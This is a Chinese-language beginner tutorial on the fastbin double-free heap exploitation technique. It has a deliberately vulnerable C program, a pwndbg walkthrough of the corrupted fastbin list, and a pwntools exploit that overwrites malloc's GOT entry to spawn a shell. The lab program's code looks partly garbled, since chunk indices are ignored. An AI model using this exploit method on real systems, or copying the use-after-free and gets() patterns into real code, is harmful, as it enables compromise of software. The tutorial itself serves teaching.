pwn入门--Fastbin Double Free
简介fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法,而fastbin_double_free就是其中的一种,这类漏洞利用的前提是:
存在堆溢出、use-after-free等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
Fastbin Double Free就是其字面所表达的意思,当一个内存被释放之后再次被释放,就是Free()了同一块内存多次,其精髓在于多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果
原理
Fastbin Double Free 能够成功利用主要有两部分的原因:
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证
通俗的讲就是当我们申请的一块chunk被释放后,它将以单链的形式被串在fastbin中,然后会有一个fast指针指向最后一个链上来了的chunk,当下一个chunk被释放后,将被链在上一个chunk的前面,fast指针向前移动
实例
heap.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void sh(char *id)
{
system(id);
}
int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char *ptr;
memset(ptr,0,sizeof(ptr));
puts("1.malloc+gets\n2.free\n3.puts\n");
while(1)
{
printf("> ");
scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr = malloc(sz);
gets(ptr);
}
else if(cmd==2)
{
free(ptr);
}
else if(cmd==3)
{
puts(ptr);
}
else
{
exit(0);
}
}
return 0;
}
编译:
gcc -no-pie heap.c -o heap -g -w
分析:
这个程序主要有3个功能,malloc+gets申请一块chunk并且向chunk中写入一段内容,free释放一块chunk,puts打印出一个chunk,但是在free的时候没有将指针清零,很明显这个程序中有double_free漏洞
先运行程序看看:
root@sir-PC:/home/sir/desktop# ./heap
1.malloc+gets
2.free
3.puts
> 1 0
25 aaaabbbb
> 3 0
aaaabbbb
> 2 0
>
double_free的基本思路:
为了使操作更简单每次我们的操作的chunk的大小都应该相同
首先先申请两块chunk:ptr和ptr,随便写入8字节的内容,然后分别free(ptr),free(ptr),free(ptr),此时在ptr和ptr之间形成了一个双向链表,然后我们再申请一个chunk:ptr,写入我们需要修改的地址,然后在申请两个chunk:ptr和ptr,随便写入8字节的内容,最后再次申请一个chunk:ptr,此时写入我们需要修改成的内容,就可以实现任意地址内容修改了
演示
现在我们来演示一下:
root@sir-PC:/home/sir/desktop# gdb heap
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
pwndbg: loaded 174 commands. Type pwndbg for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from heap...done.
pwndbg> b 20
Breakpoint 1 at 0x40083b: file heap.c, line 20.
pwndbg> r
Starting program: /home/sir/desktop/heap
1.malloc+gets
2.free
3.puts
Breakpoint 1, main () at heap.c:20
20 printf("> ");
pwndbg> n
1 0
pwndbg> c
Continuing.
25 aaaabbbb #申请第一次ptr
pwndbg> p ptr
$1 = 0x602670 "aaaabbbb"
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000020971
0x6026a0: 0x0000000000000000 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 1 1
25 qqqqssss #申请第二次ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x7373737371717171 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 2 0#释放ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000000000 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x7373737371717171 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 2 1#释放ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000000000 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000 //bp指向0x602670 ptr
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 2 0 #再次释放ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x00000000006026a0 0x0000000000000000 //bp指向0x6026a0 ptr
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
此时我们double_free的工作就做完了,现在我们来修改一个任意地址的内容,为了方便输入我们就修改0x602660这个地址的内容,我们看到了0x602660原来的值为0,我们将其修改为AAAAAAAA,即0x4141414141414141
pwndbg> c
Continuing.
> 1 2
25 `&` #申请第三次ptr,写入0x602660
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000602660 0x0000000000000000 //ptr,即原来的ptr
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 1 3
25 aaaabbbb #申请第四次ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000602660 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626261616161 0x0000000000000000 //ptr,即原来的ptr
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
> 1 4
25 qqqqssss #申请第五次ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x7373737371717171 0x0000000000000000 //ptr,将ptr覆盖了
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626261616161 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
如果我们再次申请一块chunk,我们就在0x602660的位置写入我们想要的东西了,因为此时fast指针已经指向了0x602660的位置了
pwndbg> c
Continuing.
> 1 5
25 AAAAAAAA 第六次申请ptr
pwndbg> x/20gx 0x602670-16
0x602660: 0x4141414141414141 0x0000000000000000 //已经被修改了
0x602670: 0x7373737371717171 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626261616161 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
很明显0x602660位置的内容已经被我们修改了,如果我们把0x602660换成一个特殊的地址,比如malloc函数got表的地址,然后将其换成sh()函数的地址,那么当我们再次调用malloc函数的时候就会去调用sh()函数了
EXP
sir@sir-PC:~/desktop$ objdump -R heap
heap: 文件格式 elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff0 R_X86_64_GLOB_DAT__libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT__gmon_start__
0000000000601078 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOTfree@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOTputs@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOTsystem@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOTprintf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOTmemset@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOTgets@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOTmalloc@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOTsetvbuf@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT__isoc99_scanf@GLIBC_2.7
0000000000601060 R_X86_64_JUMP_SLOTexit@GLIBC_2.2.5
pwndbg> p sh
$2 = {void (char *)} 0x4007d7 <sh>
所以我们只需要将0x601048的内容修改为0x4007d7就可以了,但是因为system()函数需要一个参数'sh',所以我们从0x601040位置开始写入,将0x601040写入’sh‘,然后在最后再次调用malloc函数时,将sz参数换为’sh‘的地址就可以了,但是要注意的是输入的sz形式为%d,所以需要将0x601040换为十进制,即6295616
from pwn import *
context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(p)
def cmd(x):
p.recvuntil('> ')
p.send(x+'\n')
def molloc(i,s):
cmd('1 %d\n25 %s'%(i,s))
def free(i):
cmd('2 %d'%i)
def put(i):
cmd('3 %d'%i)
molloc(0,'a'*8)
molloc(1,'b'*8)
free(0)
free(1)
free(0)
molloc(2,p64(0x0601040))
molloc(3,'/bin/sh')
molloc(4,'/bin/sh')
x = p64(0x6873) + p64(0x4007d7) #0x6873 = 'sh'
molloc(5,x)
p.recvuntil('> ')
p.sendline('1 6')
p.sendline('6295616 aaaaaaaa')# 0x601040 = 6295616
p.interactive()
页:
[1]